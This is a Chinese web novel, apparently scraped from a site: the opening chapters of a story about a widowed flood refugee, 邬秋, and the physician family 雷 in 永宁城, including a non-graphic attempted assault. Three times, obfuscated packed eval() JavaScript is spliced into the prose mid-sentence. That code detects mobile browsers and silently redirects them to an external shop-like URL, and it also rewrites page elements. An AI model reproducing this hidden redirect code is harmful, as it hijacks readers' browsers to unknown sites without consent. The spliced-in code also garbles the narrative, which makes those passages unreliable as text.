《寡夫郎有喜了》 1. 初见寡夫郎 天灾初降。虽是百里开外的河道决了口,但受灾逃难的流民已经陆陆续续出现在永宁城里。 有道是但愿世间人无病,何妨架上药生尘。奈何这不过是雷家一厢情愿。灾民流入,他们又是有声望的官医,医馆的生意倒不可避免地“红火”起来。 雷檀才刚十一岁,还是个梳着两个小抓鬏的毛头小子,没怎么经历过这种事,忙得晕头转向,趁着没人注意的时候偷偷拉着哥哥雷栎叫苦,说一上午也没歇歇脚,口干舌燥,肚子也饿了,不知道什么时候能有口午饭吃。 雷栎比他大两岁,性子更沉稳,揉揉他的脑袋道:“先去灶房找点吃的?还有几位病人,大家都没得闲,恐怕还得过些时候才能吃饭呢。” 雷檀眼珠一转:“我去找大哥!” 他蹬蹬蹬扭身就跑了,跑进医馆大堂才放缓动作,不声不响贴着墙溜到桌前,看了看还有病人在,便清清嗓子,装模做样对着病人施了个礼,又对着桌边的郎中唤道:“先生。” 那郎中闻言回头看他。是一位面容俊秀的男子,剑眉星目,眉宇间带着一股英气,若非坐在医馆,又穿得素净显得气质沉静而文质彬彬,猜他是个习武之人也不为过。他见是雷檀,目光也柔和下来,带着哄小孩子的语气问:“何事?” 雷檀不好意思当着病人的面说,眨眨眼正想办法,忽见桌上搁着一卷《本草经》,忙拿起来,信手一翻,正是上品之“米谷部”一门,便指着向那郎中道:“先生,正是想来问问这方子。” 被他称作“先生”的郎中略一思索,便明白了他的意思,不禁无奈一笑,拉开手边的木匣子,抓了几文钱递给他:“去食肆抓药吧,叫上栎儿同你一道去。” 听见此话的病人反倒好奇起来:“为何去食肆求药呢?” 雷檀眨眨眼:“药食同源嘛。” 雷檀拿了钱,可没等雷栎。他暗自寻思,食肆离医馆不远,有这折回去找雷栎的时间,都够他自己跑到了,再者,光天化日之下,难道还有谁敢找他的麻烦不成?故此只一个人悄悄跑到食肆买了几样糕饼和小菜,准备带回去给大家一起吃。近日城中行乞之人变多了不少,他知道不好随便招摇,便小心翼翼把吃食藏在怀里,想混在人群里回去。不料刚从铺子出来,立刻就被两个人围住,开口便是:“小兄弟行行好,赏一口饭吃吧。” 原来他们早就躲在暗处盯着出入食肆的人。见雷檀一个小孩子,估摸着好吓唬些,凑上来软磨硬泡。雷檀怕招来更多人注意,只得伸手向怀里掏了一个饼子出来:“我家里也不富裕,这是好几口人的口粮呢,罢了,看你们也可怜,就都给你们吧。” 那两人接了饼子,并不急着吃,也不肯走,照旧拦着雷檀不让他过去。口内嘟嘟囔囔,直说雷檀还有钱,要他把钱和吃的全都交出来。雷檀扭头就想跑,被一个从后面一把攥住一边的发髻,疼得直咧嘴,另一人伸手就要掏他怀里的东西,小家伙哪里肯由他摆布,抬脚就要踢,奈何人小力气薄,两个乞丐根本不把他这两下放在眼里,争执之下,眼看雷檀就要吃亏,忽听身后有人出言道:“这是做什么?青天白日,竟敢在街面上劫人钱财吗?” 说话的人声音不大,听着有点弱气,但态度很坚决。三人同时停手看去,只见旁边站了一位哥儿,约莫不到三十的年纪,一身灰色粗麻布的衣袍,脸色不太好,面无血色,整个人瘦得像是只剩一把骨头,脸上也没什么肉,但脸型五官依旧标志。特别是那双丹凤眼,眼角微微向上吊起,右眼眼尾点着一颗小小的红痣,倒显得别有一种风流韵味。衣服虽有些破旧,但收拾得干净利索,一看便知是正经人家出身。 两个乞丐一见有人过来,又见这哥儿头发整齐地梳成发髻,应该是已经成了亲,不是小孩子了,恐他夫君过来,便不敢再招惹生事,丢下雷檀跑了。那哥儿过来把雷檀扶起来,替他整好衣服,见雷檀一边的头发散了,又轻轻替他拢上去,举手投足动作温柔至极。雷檀本来被两个乞丐拽疼了,眼泪都快流下了,这下也不哭了,忙不迭作揖:“多谢郎君相救。” 这哥儿笑了笑,眼睛都弯起来,拍拍雷檀的肩膀:“不必多礼,举手之劳罢了。近来街上也没那么太平,下次莫要再一个人跑出来了。” 雷檀点头答应,正想着该如何答谢为好,忽听他问道:“小兄弟可知道这城中的医馆在何处么?我想去抓几贴药,但初来乍到,白绕了半天路,还是走错了。” 这可是问对了人。雷檀连忙点头:“知道,我领你去。” 两人于是边走边聊。那哥儿倒还好,雷檀可最是个话多的,一路上嘴都不停。他得知这哥儿姓邬,单名一个“秋”字,是走亲戚路过永宁城时母亲病了,才来找医馆买药。雷檀听他说,还不忘也提醒他:“正是你说的那话,近来流民太多,不可大意,下次还是叫你夫君与你同来吧。” 邬秋只是笑着点点头,没再说什么。 医馆离得确实不远,说话间就已经到了。雷檀拉着邬秋进来,把他让进中堂边的一间耳房,又倒了盏茶,请他稍坐,自己便出去找人。邬秋看这间小屋收拾得很齐整,陈设也简单,大概是会客之处。不过看墙边立着书架,架上码放着各样的书卷,墙上还贴着一幅字,倒也有点像一间小书房。邬秋虽不识字,但觉得这些字笔力遒劲,很是好看,不禁怔怔地盯着出神,直到雷檀领着一位郎中进来,才猛然回神,急忙放下杯子站起来。 这郎中正是方才给雷檀拿钱的那位,见了邬秋,躬身深施一礼,向他道谢。慌得邬秋也忙回礼,两人客套了几句,才各自落座。郎中自称名叫雷铤,雷檀站在一旁,给邬秋介绍:“邬郎君,这是我们永宁城的官医,你要抓什么药,只管告诉他就是了。” 雷铤接了邬秋的方子,细看了几眼,随口问道:“不知是哪位郎中开的方子?” 邬秋想了想,答道:“我们并不是永宁城人,只是路过此地。方子是先前在别处时郎中开的,先生看着可有什么不妥吗?” 雷铤摇了摇头:“并无不妥,不过看这方子,病人这风寒恐怕来势猛烈,还是静养为上。郎君的行程若可以暂缓,最好还是歇一段日子再走吧。” 邬秋向他道了谢,雷铤就起身去给他抓药,又叫雷檀去拿些点心来送给邬秋。邬秋推辞不过,只能收了。雷檀回来的时候,雷铤还在中堂配药,耳房里又只有他和邬秋两个人。雷檀性子活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091733|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泼,邬秋也很喜欢他,现在两人也熟悉了,邬秋就主动跟他聊起来:“方才那位大人可是你爹吗?” 雷檀一愣,接着就笑个不住:“不是不是,他是我大哥,不过论年龄,我今年十一岁,他都到而立之年了,说他是我爹倒也不过分。” 雷檀个子不高,小脸又生得圆乎乎,粉白粉白的,看着有点幼态,邬秋一直以为他不过只有七八岁,也忍不住笑了:“我见你那样敬待他,又听你们都姓雷,就以为他是你爹了,你别见怪。” 雷檀吐了吐舌头:“等他有儿子,还不晓得要到猴年马月去。” 邬秋这会儿没有那么拘谨,神色放松下来,看着雷檀问:“此话怎讲?” 雷檀凑近他的耳朵,神神秘秘说道:“你是外地来的,自然不知道,永宁城里的百姓可是全知道了。我大哥是个怪人,当年媒人把我家门槛都踢破了,可他只说——” 他说到这里,还故意压着嗓子,夸张地学雷铤低沉的声音:“他只说‘我与人家彼此脾气秉性尚且不知,如何能凭媒人三言两语,就定下终身大事。若彼此不合,倒得白白蹉跎几年,又多了和离的麻烦。’郎君你听,这可是怪话?自古成婚不过父母之命媒妁之言,他却执意不肯。他又是认定了什么就不肯回心转意的执拗性子,我爹和我阿爹也拿他没法。后来又有几次,就叫他先跟人家的哥儿或者女儿见几面,想着彼此熟识了他自然就愿意,但他见了,又总说不合适。结果拖来拖去,就变成这样。现在媒人也不上我家的门了,我看以后只能指望我这个弟弟给他养老吧。” 邬秋听得直笑,他倒不认为雷铤是怪人,只觉得这人很有意思:“他如此看重感情和顺,想来日后若真能成婚,一定是真心疼爱自己的娘子或是郎君,日子必定也会美满。” 雷檀耸耸肩:“借你吉言。郎君,以后若有机会,记得带你家小少爷或者小千金来找我玩呀,我家附近只有隔壁刘家的小哥儿同我一样大,但他老不愿意出来玩,我一个人怪闷的。” 雷檀天性率真,到底说起话来思虑少些。他看着邬秋是嫁了人的郎君,也没多问问就这样说了。 房门吱呀一声被推开,雷铤拿着药进来,邬秋连忙站起来接过。雷铤比他高不少,微微俯身低头跟他说话,叮嘱了些所需注意的事项。邬秋一一记了,正要掏钱,却被雷铤制止了:“郎君今日在街上救下小弟,这药钱我们就不收了。” 他后面还说了些感谢的话,但是邬秋一时失神,并未听到。这时正是日头最高的时候,这间耳房原不向阳,只是日光炙烈,耳房的小窗也徐徐透进几缕阳光。雷铤就站在光里,带着淡淡的笑意,英俊却不锐利,温和而不轻浮。 光是看脸,也难怪雷檀说媒人踏破了他家的门槛。 临别之际,小雷檀还惦记着让邬秋带着孩子再来找他玩,唠唠叨叨叮嘱个不住,直到被雷铤拿扇子在脑袋上不轻不重地敲了两下,终于遗憾地进屋去了。雷铤对着他遥遥又施一礼,邬秋也认真还了,这才踏上归途。 一路上,他还忍不住在想,可惜他要与这个可爱的孩子失约了。 他没有子女。他的夫君在九年前他们刚成婚时就去世了。 2. 落难小哥儿 “邬郎君!果真是你!” 雷檀冲着面前人施了个礼:“方才在背后远远见着,看背影眼熟,没敢贸然相认。没成想真的是您!” 邬秋很喜欢这个活泼的孩子,苍白的脸上浮现出一丝微笑。雷檀却暗暗吃惊,四五日不见,邬秋的脸色更差了,连嘴唇上也不见一丝血色,衣袍里显得空荡荡,风一吹,勾勒出的身形比起先前也更加纤瘦。他虽心里疑惑,可面上不好带出来,仍旧是恭恭敬敬把他请进医馆,问道:“邬郎君还是来抓药么?” 邬秋点点头:“病去如抽丝。母亲的病虽已经见好,但还未痊愈,有劳了。” 雷檀找了雷铤过来。雷铤细问病人的病情,开了一副新的方子。此时病人不多,雷檀也去了后堂,屋子里只有雷铤与邬秋两人。雷铤帮他包药,一边不忘叮嘱:“按郎君方才所说的病情,此次的方子要更温和些,只是不知道病人这病是否还会反复。若郎君家中方便,最好还是叫医官去问诊。” 邬秋没接这话,只是笑着道了谢。他不清楚这永宁城的医官出诊需要多少诊金,他实在已经囊中羞涩,几乎到了山穷水尽的地步,又怎敢求雷铤出诊呢。便是今日来抓药,他进门时也一直相当忐忑,暗自在心里算着价钱,甚至不知道身上的钱还能不能付得起这次的药费。 他的消瘦和不安都没有逃过雷铤的眼睛。雷铤有心问问他是否有什么难处,但邬秋一个哥儿,他也不好过度探知人家的私隐,便只得找了个借口,让邬秋稍坐,自己推说要去后面拿药,把雷檀找了过来,叫他去给邬秋拿些吃的,顺便送他出去。 雷檀立刻会意,跑去灶房拿了个食盒,转念一想,街上已有流民,食盒恐怕太过惹眼,转而换了个小药匣。此时不是吃饭的时辰,没准备什么像样的的小菜,就只拣几样点心装了,又把药包放在匣子里,端出去送与邬秋:“郎君,这是你的药!” 邬秋忙谢道:“拿个药包就是了,何必麻烦,这匣子还请收回去吧。” 雷檀已经替他拎了药匣:“在屋里呆着怪闷的,郎君,我送你出去,顺便我也散散心。这药匣子我家多的是,郎君就先拿去用吧。” 邬秋不疑有他,道了谢便同他一起出来。雷檀又打开话匣子,同他讲讲永宁城的种种趣闻,邬秋安静地听着,不时回应附和几句。不过现在城中生人太多,走了没有多远,邬秋就打发雷檀赶快回去,雷檀也只好答应,临别时不忘叮嘱:“郎君一家初来乍到,若是一时有什么不便之处,需要帮忙的,尽管来找我!” 邬秋笑着应下,接过药匣之后又走几步,才觉得匣子分量不对,又不好当街打开查看,回头去找雷檀,才发现他早就跑远了。 一直到出了城,他才找无人之处打开匣子,看到下层装了不少吃食,不禁大受感动。这些东西虽不是山珍海味,只是最家常的点心,对他眼下的处境而言,却无异于雪中送炭。他小心地把东西又装好,想了想,又挑出几块饼子揣在怀里,这才继续上路。 永宁城外最近的便是大有村,进城的一条大路从村中穿过,平时不少往来商贩旅人从此处经过,或是留宿,或是间或做些生意,因此大有村倒一直红火热闹。只是最近上游几百里开外的河道决口,淹毁了不少村子,大有村里开始出现灾民的身影。随着时间推移,流民日益增多,不免生出不少冲突事端,大有村这才一改往日的安宁和乐,家家户户大门紧闭,女子哥儿白天也不再随意出来走动,便是男子,遇上生人搭话,也多是敷衍两句就躲开,生怕招惹是非。 邬秋便是流亡至此灾民中的一员。 他原本住在薛家村,离此处有三百多里地。上游的沱水发了洪灾,薛家村地势太低,田地房屋具被大水冲毁。他原本打算去投奔夫家远亲,结果刚走到大有村便遇上意外变故,不得已在此耽搁数日。身上带的银子几乎要花光了,邬秋愁得夜不能寐,正不知该如何度过这次难关。 不过眼下还有更直接的麻烦。邬秋刚走过村口,忽然路边跳出来几个人,不由分说便将他团团围住。 邬秋似乎早有准备,低声道:“列位请行行好,这是我母亲的药,母亲病重,还等着这些药救命……” 为首的两个男人,一个身体似有残疾,佝偻着腰,直不起身子,生得獐头鼠目,两撇细细的八字胡须,一口细牙,形貌猥琐;另一人倒是满脸横肉,看着相当凶悍。跟着他们的人也多半是些衣着破烂的灾民,伸手便扯邬秋的东西。 邬秋无处可逃,想护住手中的药匣,却被那一脸凶相的劫匪拧住胳膊,疼得说不出话来。这些人蜂拥而上,抢了他的药匣,指着里面剩下的点心道:“这也是药吗?” …… 报官是没有用的。邬秋早就去永宁城找过巡检和县尉,奈何现下四处都不太平,官府人手有限,大有村的地痞和流民勾结在一起劫掠些钱财,却没闹出过人命和大乱子,故此官府略管过一两次便无暇再多顾及。先前邬秋总躲着他们,后来他们有人专门打探往来者的行踪,邬秋便很难再避开,已经被堵截过几次。 他从地上爬起来,也顾不得满身的伤痕。药匣被扔在地上,药包也散了,邬秋忙将药材收拾好。邬秋原本不是个性子软弱的人,起初还会竭力反抗。可几次三番下来,又无人相助,疲于奔命,渐渐的失了求生的意志。他们抢便由着他们抢,就是挨两下拳脚,也只是默默护着自己的头颈,随他们去了。 邬秋只是想,好在早有准备,藏下了些吃的。这点食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091734|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物于他而言就是救命的宝物。他只能默默祈求这次的药能奏效,他们好能早日离开此地。 越来越少的银子,无人辖制的流氓地痞,渐渐涌入的流民,邬秋觉得自己无路求生,可还有人需要他照料,他也不能求死。 “大哥——” 雷檀人还没跑进来,声音已经先一步飘进来。雷铤抬起头,看见雷檀三步两步蹦到他身边:“已经把东西送给邬郎君啦,大哥叫我问的东西也都问清楚了!” 雷铤放下手中的书卷,拿了块帕子给雷檀擦汗:“我何曾让你去问什么?” 雷檀挑了挑眉,小脸一扬:“这可是奇了,大哥叫我去送吃的,不就是你自己想帮他,想问问他有没有什么难处,又不好意思去问吗?不然直接算了药钱就是了,还叫我送人家出去做什么?” 雷铤:“……不得胡言。” 雷檀一笑:“大哥既不关心,那我就不说了?” 雷铤颇为无奈地看了他一眼,说道:“你不想说便不说吧。” 雷檀最是爱说话,真不让他说,又急得不得了,连连跺脚。看来他想要钳制住他大哥,还需要再磨砺个两年。棋差一招的小家伙不情不愿地开了口:“邬郎君不愿多说,我拐着弯问了半天,也没问出多少。只知道他是从河东道丰县的薛家村来,要继续南下访亲戚。现在母亲病了,就暂歇在大有村。他的夫君和孩子,他都没多说,我也不好再问的。” 雷檀说完便到后院灶房找凉水喝去了。雷铤又将书拿起来,扫了两眼,却读不进去。邬秋清瘦的身影在他眼前直晃。方才他没有开口说,但是他看见邬秋手腕上露出点没消下去的红肿伤痕。他可以确定此人生活遇到了什么困难。 都说医者仁心,邬秋那样一个心地善良的哥儿落得如此境地,雷铤自然也是心有不忍,所以不单送了东西给他,还暗暗减去了他半数的药费。只是他们身为医官,见过可怜之人不可胜数,便是此时灾民涌入,他们也只能尽力相助、能帮一点是一点,实在没有余力助每个人完全脱困。时间长了,雷铤都疑心自己已经变得冷酷而无情——对死亡、离别、人世苦楚,他似乎可以视若无睹…… 他还在走神,忽然想起方才雷檀说的地址。河东道丰县,这不正是这次河道决口之处吗? 雷铤心里忽然有了把握。邬秋十有八九并非寻常地走访亲戚,而是受水灾所迫,逃难流落至此,看他的情形,多半也是囊中羞涩,相当困窘了。他暗自后悔,今日不该草草结束跟邬秋的对话,若再多问几句,兴许还能再帮他一把。 他又想,邬秋既然家中有病人,又在不远的大有村落脚,大有村也汇集了不少逃难而来的人,难免有个伤病,不如就趁此机会办一场义诊。 3. 破烂土地庙 大有村北面靠着座小山,半山腰上有间土地庙。村里的百姓常到这里祈福,故此这庙虽小,却也齐整,香火也旺盛。然而便是很多本村的小辈都不知道,这村子的土地庙原不在这里——原来大有村早年间有两年地里闹虫害,收成不好,村里有人就请了个道士来看看风水。道士在村里村外转悠了两天,最后指出是土地庙盖的不好,说这位置挡了农神的路,惹得两神相冲,故此才将土地庙搬到了半山腰上。 废弃的那座土地庙贴着村西头的山脚,已经破败不堪。庙里的神像早就被请走了,墙砖也多半被村民捡了去,只剩下几堵斜破的土坯墙。一代代燕子在里面筑过窝,地上靠墙的一圈满是鸟粪。屋顶也破了窟窿,若是下起雨来,想来屋里也没有多少可以安身之处。 现在,这间房里竟有了木柴点燃爆裂开的轻响。一口小锅架在火上,汤药浓重的气味飘出来。邬秋守着锅子,安静地等药熬好。身后传来一阵咳嗽声,他忙放下手里的东西,端了碗水。外面天色未晚,可屋里已一团昏黑,几乎看不出他身后躺着一人。邬秋在那人旁边坐下,轻声开口:“娘,先喝口水润润吧。” 躺着的妇人闻声动了动,邬秋扶着她坐起来。连日的奔波劳碌和病痛使她看起来显得很苍老,她咽下几口水,跟着就是叹气,拉着邬秋的手哭道:“儿啊,可是苦了你。” 原本已经见好的病,不知为何又开始反复,她又发起热来。 那妇人还在昏昏沉沉地哭:“秋儿,你嫁进来,没让你过上一天好日子啊……” 邬秋宽慰她道:“有娘在,我就有依靠,不觉得苦。” 药锅传来咕噜声,他又不得不赶紧回去看着火。不知道为何,他也有点想落泪的冲动。 邬秋幼时,父母对他也是爱若掌上明珠。他们虽只是农野平民人家,但一家三口日子过得倒也和乐美满。奈何天有不测风云,三岁时父亲便被一场伤寒夺去性命。母亲带着他,靠织布绣花过活,在他十五岁时也撒手人寰。 当初他父母是私奔来到此处落脚,父母去世后,邬秋无亲无故可投,自己一个人给母亲守了三年孝。 他虽然没了父母,但是人很勤快能干,性子又沉稳和善,故此他孝期结束后有好几个媒人上门说亲,隔壁薛家村的薛安家便是其中之一。这家只有薛安和他母亲杨姝。邬秋曾经见过薛安几面,知道这是个老实人家,母子俩都是温和好相与的。邬秋不在意夫家是否富贵,只愿找个好人家安度一生,这样想着一比较,薛安家竟是最合适不过,便应了这门亲事。 此前邬秋见到薛安时也并无其他念想,并非倾慕薛安。只是他那时一个人孤孤单单过了三年,很急着想有个家罢了。日子总要慢慢过的,日后只要二人相敬如宾,互相关照,他也就不图别的了。 没想到婚已订下,薛安却在上山打柴时失了脚摔了一跤,脑袋正碰在一块石头上。被抬回家躺了两天,最后在邬秋过门前一天去世了。 薛安之母杨姝是个心善的妇人,不忍耽误了邬秋,便说如今儿子已死,不如把婚约作废,让邬秋另寻好人家。邬秋见杨姝也没了依靠,孤苦一人,还是留了下来,磕了头叫了娘。从此他成了薛家的寡夫郎。他十八岁跟薛安订下婚约,又在克死父母夫君的流言里照顾着杨姝,不知不觉过了九年。 这九年对他而言,倒也不算苦。母子俩都能做些活计,杨姝绣花的本领更是堪称他们那一地一绝,虽谈不上多富裕,但也足够他们衣食无忧,而他只想着,自己总算又有了个家。邬秋早已经将杨姝视若亲生母亲,反倒渐渐地把婚嫁的心思抛去了,一心过自己的日子。故此杨姝几次劝他再嫁,他都没有答应。若不是这场大水,他大约真的会在薛家村这样平平淡淡地了此一生。 邬秋摇了摇头,将往事从脑中逐出。看着锅中的药,他暗暗拿定了主意,明日便是去医馆跪下求人,便是花光仅剩的钱,他也一定要求雷铤出诊,来看一看杨姝的病情。 至于钱,总会有法子弄到的。 到大有村落脚的这段时日,邬秋一点也没闲下来。他先是在村里四处拜访村民,愿意出力帮人家做杂活,只求能收留他们母子,或是能施舍些钱。但村里已有流民,村民们生怕招惹是非,只有头几天有两家好心人家给了些粥,剩下再没有人理睬他。他又到了永宁城,想寻个短工做做,可人家见他一个逃难来的哥儿,也不愿收下他。兜兜转转这几日,竟没能找到点营生,身上带的钱不仅花去大半,还被地痞们抢去了不少。可他还不肯轻易言弃,拿定主意改日再到城里去试一试。 雷檀送他的点心,他藏下几块包在帕子里,这会儿才想起掏出来。他打开帕子,嗅到微甜的米面香。好几日没有吃过像样的东西,这阵香气使他觉得自己的肠肚都绞紧在一起。他小心地掰下一点,放在嘴里细细嚼着。他娘尚在病中,大部分要留给她,还要留些为日后做打算。 那天他饿得睡不稳,又怕杨姝的病有什么反复,又怕那起歹人会找到这里。屋里没敢生火,虽是夏日,可深夜的凉意也全化作了风,从墙壁的破口灌进来。邬秋爬起来把自己的一条薄被也给杨姝盖上,自己找个避风的角落坐下,蜷缩起身子,迷迷糊糊捱了整夜。 半梦半醒之中,他偶然竟想到了雷铤。 他知道是雷铤授意给他送的东西。连同上次免去的药费和赠送的点心,自邬秋到大有村来,还没有人对他报以这样的善意。 这样想着,心里一暖,身上似乎也没有那么冷了。 次日天刚蒙蒙亮邬秋就醒了,杨姝的病情又稳定下来,邬秋这才放下心来。他还惦记着去医馆的事,可是还要守着杨姝醒来,再上山去拾点干树枝回来生火用,顺便看看山上有没有什么能吃的野菜野果,还要避开生人,防止有人发现他们的驻地。如此一耽搁,等他真的预备动身去医馆时,已是晌午之后了。 不过,就在邬秋准备折返时,他碰到了几个村民。那几个村民似乎也是上山打柴的,没看到他。邬秋静静在一棵树后站定,想等他们走了再接着赶路,却听到那几个村民议论:“今日永宁城里的医官来做义诊,你怎么不带你家老太太去瞧瞧病?” 回话的人嗓音又尖又细:“怎么没去,一大早村正来说的时候我就去村东口候着了。人实在太多,那两个郎中哪顾得过来。我瞧着左右等不到,就叫我家小子替我去等了。” 另一人还来不及接话,忽见旁边树后一下蹿出一个人影,吓得几人同声喊“哎哟”,但见那人并未来找他们,一溜烟向山下奔去了。 村正通知本村村民时自然没有告知邬秋,废土地庙的位置在村子尽西头,最近的人家也隔了一段距离,邬秋早上又没到村里去,因此竟不知道这事。好在碰见这几个村民,不然真要错过了。他心里又是急,又是暖,都不觉得累,一气儿跑下山去了。 雷铤来大有村义诊,虽是一视同仁救治病患,但心底里藏了一点私念,想找一找那位邬郎君,给他母亲看看病。不过他近日都不曾到这附近来,只听说大有村汇集不少逃难而来的灾民,不曾想情形已经如此严重。他们刚一来便被团团围住,四处奔走,忙得不可开交。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091735|195453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他无法抽身去找人,只能寄希望于邬秋能得到消息,主动来找他。但直忙到天擦黑,再不返回城门就要下钥,不得不打道回府时,也没见到邬秋的身影。 他们是官医,没有官府的命令,也不好大张旗鼓花好几日来办义诊,恐怕近日都不便再来了。不少难民拦着他们的车不让他们走,村正便叫本村男人来帮着遣散了这些人,连连道谢恭维:“大人来此一日,不知救了多少人性命,还分文不取,真是菩萨心肠、菩萨心肠。” 与雷铤同来的是他父亲雷迅。雷迅跟村正客气道:“医者本分,不必言谢。我们也不过是尽力而为。” 他微微扭头看看雷铤,示意他也说几句话。但是雷铤心里在想着邬秋,险些没注意答话。他有心问问村正,又想邬秋是逃难来的,村正未必认得,再解释则免不了许多麻烦。邬秋今日又不曾露面,自己去刨根问底一个哥儿的去向似乎也不大好,只得作罢,也客套了几句,便跟着雷迅回永宁城去了。 但愿邬秋一家已经离开此地,投亲去了吧。 今夜无月,滚滚黑云把天幕遮个严实。邬秋从伸手不见五指的高粱地里爬起来,屏住呼吸,只听到风吹过作物的簌簌声,间或夹杂几声蛙鸣。他用手捂住嘴,竭力不让呜咽声从指缝露出来,只有滚烫的泪珠不断滴落。 邬秋从山上下来之后,立刻急急忙忙向村口跑去,到了村口时没看到医官,只看到一些无处可去的灾民。他拉住一个人问来义诊的郎中去了哪里,那人告诉他郎中们去了某人家,并给他指了个方向。邬秋一看,那人家与自己隔了好大一片高粱地,若是绕大路,只怕还要更远些。他心里起急,就想着从田里横穿过去。只要小心些别踩了庄稼,应该不打紧。 大有村并未遭遇洪灾,今年只是雨水略多了些,作物长得极茂盛,高粱长得已经比邬秋还高。正是晌午,今天又逢义诊,田里几乎不见人影。邬秋两手拨开挡路的叶子,向前猛跑了一气,终于实在累了,站在原地歇息。 即便多年之后,邬秋偶然想起这一天,还会后悔他当时抄近路的选择。 某一刹那仿佛风都静止了,四周安静得诡异。邬秋的视线往左边一扫,见到了他永生难忘的画面——旁边两株高粱的空隙中探出一张男人的脸,两撇八字胡,一双焦黄浑浊的眼珠。他冲着邬秋咧开嘴笑了,邬秋认得此人,就是经常在村口堵截他的一伙人之一,似乎还是个头目。 邬秋一时说不出话,一句“你要做什么”哽在喉头,被他全身的战栗压住说不出来。那男人也不多言,瞧瞧四下并无其他人,伸手就去拉扯邬秋的衣裳。邬秋的惊叫和呼救全被这一大片高粱地吞没,他虽然瘦弱,此时却拼上了性命,几番挣扎,硬是从那男人手里逃脱出来。邬秋没命地跑起来,作物的叶子划破他的脸和手,他也顾不得那些,身后传来那男人的威胁叫骂,吓得他心跳如鼓,脚下又生出些力气。这片茂密入林的高粱地险些害他落入歹人之手,但此时又好在是在如此繁密的庄稼之间,那男人也不是身强力壮之辈,竟追不上在其中左右乱钻的邬秋,渐渐跟丢了。 邬秋已经不辨方向,左转右转找到一条隐秘的水沟,顾不得脏,立刻跳进去在一块石头后面躲着,竖起耳朵听着周围的动静。刚刚剧烈的奔跑使他的身体再也支撑不住,嗓子里满是腥甜的味道,腿也再抬不起来。心跳得快要跃出胸膛,耳内只剩嗡鸣,连牙齿都在作痛。邬秋这几日本就吃不饱睡不好,身体哪受得住这样折腾。他原想着歇息一下便偷偷跑出去,不料身子一软,眼前一黑,就什么也不知道了。 4. 差点进青楼 赵文原是大有村的地痞流氓。他自小身患残疾,直不起背来,没了爹娘,又好吃懒做,不肯耕作务农,成日在村里村外游荡,做点偷鸡摸狗的营生。有商队路过时,也会蒙骗蒙骗初来乍到的商人,讹上几个钱。永宁城的城防巡检几次捉拿他,可他没犯过什么大案,关他个十天半月也只得放他出来。他也不知挨过村里的汉子多少拳脚,为着有一回调戏了一家的哥儿,险些叫人家的相公活活打死。可是祸害遗千年,他到底没有死,养好伤后只是不敢再去招惹这家的人,其他一切如旧。 大有村的村民见了他,都躲得远远的。 后来大有村来了一个战场上逃回来的男人。此人名叫王武,因为做了逃兵,也不敢去城里谋营生,勉强在大有村藏身,又怕村民去报官。正这当口,赵文见他面生,以为他是路过的商人,意欲骗他钱财。那王武是个粗汉,举起拳头就打,赵文被他打得屁滚尿流,但也以此做契机,拉王武入伙。自此王武改叫赵武,对外只说是赵文的表亲。赵文原本生得矮小瘦弱,有了赵武帮忙,又碰上这次灾情,官府无力管制他们,倒渐渐无法无天起来,纠集了一帮流民,竟然开始公然劫掠人钱财。 那天赵文在村里闲逛,又看见前天被抢过钱的小哥儿急急忙忙跑过。他已经注意这哥儿几天了,他看着像是已经成了家,但从来都是一个人出来,不见他的相公跟着。赵文带着人试探着抢过几次他的东西,除了吃的都是药材,因此猜测可能他家人在这村里什么地方养病。试了几次之后,赵文知道无人给这哥儿撑腰,胆子也大了起来。 眼见着邬秋一头钻进高粱地,赵文贼心大动,也跟着溜了进去。 赵文跟着邬秋跑了半天,倒把自己累得气喘吁吁。好容易邬秋停下来,他刚露了个脸,本以为这小哥儿会吓软了腿脚,任由他摆布,不料邬秋在高粱地里如同一只灵活的兔子,拼命挣脱之后几下又把他甩在身后。 赵文追不上邬秋,白白在地里转了几圈,气得直骂,想着干脆去把赵武找来,两人一并堵截,总能把那哥儿抓到。结果刚走到田边上,迎头遇上一队人,定睛一看,正是今日来村里义诊的两个郎中。 赵文之辈一向欺软怕硬惯了,雷迅雷铤之类有些头脸的人,他一见心里便怯了几分。走也不是,站着也不是,只得嘿嘿讪笑着缩在一旁。雷迅并不理他,目不斜视从旁边走过,倒是雷铤,看见他只觉得心中一阵无名躁意,他认得赵文,知道此人是村中无赖。雷铤本就惦念着没找到邬秋,无法帮他家人诊治,心里正烦闷,见了赵文便更嫌恶了几分,皱了皱眉开口道:“既是本村男儿,也该为村里邻居出几分力。赵公子若得清闲,就请帮我把这包药送到村正家里吧。” 